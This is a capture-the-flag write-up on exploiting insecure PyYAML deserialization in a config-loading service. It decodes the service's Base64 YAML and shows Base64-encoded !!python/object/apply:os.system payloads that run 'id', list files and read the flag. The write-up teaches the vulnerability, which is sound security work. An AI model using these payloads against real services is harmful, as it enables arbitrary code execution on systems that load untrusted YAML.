This was an easy miscellaneous challenge that I found to be a good showcase of how dangerous YAML is. In many different languages, the default YAML load functionality is vulnerable to Arbitrary Code Execution if the deserialized data is user input.

The Challenge

All we got for this challenge was a host and a port to connect to with TCP. Once connected, a menu with a few options is presented:


$ nc 30053
[1] Create config
[2] Load config
[3] Exit

> 1

- Creating new config -
Temperature units (F/C/K): C
Propulsion Components Target Temperature : 42
Solar Array Target Temperature : 1337
Infrared Spectrometers Target Temperature : 1000
Auto Calibration (ON/OFF) : ON

Serialized config: ISFweXRob24vb2JqZWN0Ol9fbWFpbl9fLkNvbmZpZyB7SVJfc3BlY3Ryb21ldGVyX3RlbXA6ICcxMDAwJywgYXV0b19jYWxpYnJhdGlvbjogJ09OJywKICBwcm9wdWxzaW9uX3RlbXA6ICc0MicsIHNvbGFyX2FycmF5X3RlbXA6ICcxMzM3JywgdW5pdHM6IEN9Cg==
Uploading to ship...

So with the first option, we get some sort of "Serialized config" string. The second option allows us to input such a string ourselves for the application to load it:


[1] Create config
[2] Load config
[3] Exit

> 2

Serialized config to load: anything

Unable to load config!

Understanding the Config

The main question right now is, what does this config mean? Then we can maybe change things in there to mess with the application. A string like this with random upper- and lowercase letters, numbers, and sometimes ending with = equals signs should instantly trigger your Base64 alarm bells. This is a very common way to turn any arbitrary complicated string of bytes into a string with regular characters like letters and numbers, and we can decode easily it in CyberChef.


!!python/object:__main__.Config {IR_spectrometer_temp: '1000', auto_calibration: 'ON',
  propulsion_temp: '42', solar_array_temp: '1337', units: C}

That's the result. It seems like a stringified version of a Python object, but where does this come from? To find out, I put some substrings of this into Google. Mainly the !!python/object:__main__ part which I expected to be a non-specific thing. This quickly found me a StackOverflow question talking about YAML. That's it!

YAML is a common format to store configuration files in, and Python has a yaml library to turn objects into YAML, and YAML into objects. The config we received might have been created like this:


import yaml

class Something:
    def __init__(self, n):
        self.n = n

something = Something(42)

# !!python/object:__main__.Something
# n: 42

Insecure Deserialization

As you might expect with being able to create arbitrary Python objects, this is pretty dangerous. YAML allows you to not only create objects with static values but also to call functions while deserializing. This is done with the !!python/object/apply: syntax, which takes a function name and arguments:


- "id"

The code above uses the os module to execute the "id" system command. If we Base64 encode it again, we can provide it to the "load config" option to deserialize our data, and see the command output:


> 2
Serialized config to load: ISFweXRob24vb2JqZWN0L2FwcGx5Om9zLnN5c3RlbQotICJpZCI=
uid=100(ctf) gid=101(ctf)

To get the flag, we can use the ls command instead of "id" to list the files in the current directory to find flag.txt, and then simply cat it out:


> 2
Serialized config to load: ISFweXRob24vb2JqZWN0L2FwcGx5Om9zLnN5c3RlbQotICJscyI=

> 2
Serialized config to load: ISFweXRob24vb2JqZWN0L2FwcGx5Om9zLnN5c3RlbQotICJjYXQgZmxhZy50eHQi